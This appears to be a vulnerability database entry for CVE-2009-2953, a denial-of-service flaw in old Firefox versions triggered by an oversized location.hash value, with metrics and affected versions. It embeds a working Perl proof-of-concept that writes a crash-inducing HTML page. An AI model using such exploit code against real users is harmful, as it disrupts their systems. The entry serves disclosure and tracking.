CVE-2009-2953 : Detail

CVE-2009-2953

0.26%V3
Network
2009-08-24
13h00 +00:00
2018-10-10
16h57 +00:00
CVE.org
NVD
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CVE Descriptions

Mozilla Firefox 3.0.6 through 3.0.13, and 3.5.x, allows remote attackers to cause a denial of service (CPU consumption) via JavaScript code with a long string value for the hash property (aka location.hash), a related issue to CVE-2008-5715.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 7554

Publication date : 2008-12-22 23h00 +00:00
Author : Jeremy Brown
EDB Verified : Yes

#!/usr/bin/perl # mzff_lhash_dos.pl # Mozilla Firefox 3.0.5 location.hash Denial of Service Exploit # Jeremy Brown [[email protected]/jbrownsec.blogspot.com] # Crash on Vista, play with it on XP $filename = $ARGV[0]; if(!defined($filename)) { print "Usage: $0 <filename.html>\n\n"; } $head = "<html>" . "\n" . "<script type=\"text/javascript\">" . "\n"; $trig = "location.hash = \"" . "A" x 20000000 . "\";" . "\n"; $foot = "</script>" . "\n" . "</html>"; $data = $head . $trig . $foot; open(FILE, '>' . $filename); print FILE $data; close(FILE); exit; # milw0rm.com [2008-12-23]

Products Mentioned

Configuraton 0

Mozilla>>Firefox >> Version 3.0.6

Mozilla>>Firefox >> Version 3.0.7

Mozilla>>Firefox >> Version 3.0.8

Mozilla>>Firefox >> Version 3.0.9

Mozilla>>Firefox >> Version 3.0.10

Mozilla>>Firefox >> Version 3.0.11

Mozilla>>Firefox >> Version 3.0.12

Mozilla>>Firefox >> Version 3.0.13

Mozilla>>Firefox >> Version 3.5

Mozilla>>Firefox >> Version 3.5.1

Mozilla>>Firefox >> Version 3.5.2

Mozilla>>Firefox >> Version 3.5.3

Mozilla>>Firefox >> Version 3.5.4

References

http://websecurity.com.ua/3424/
Tags : x_refsource_MISC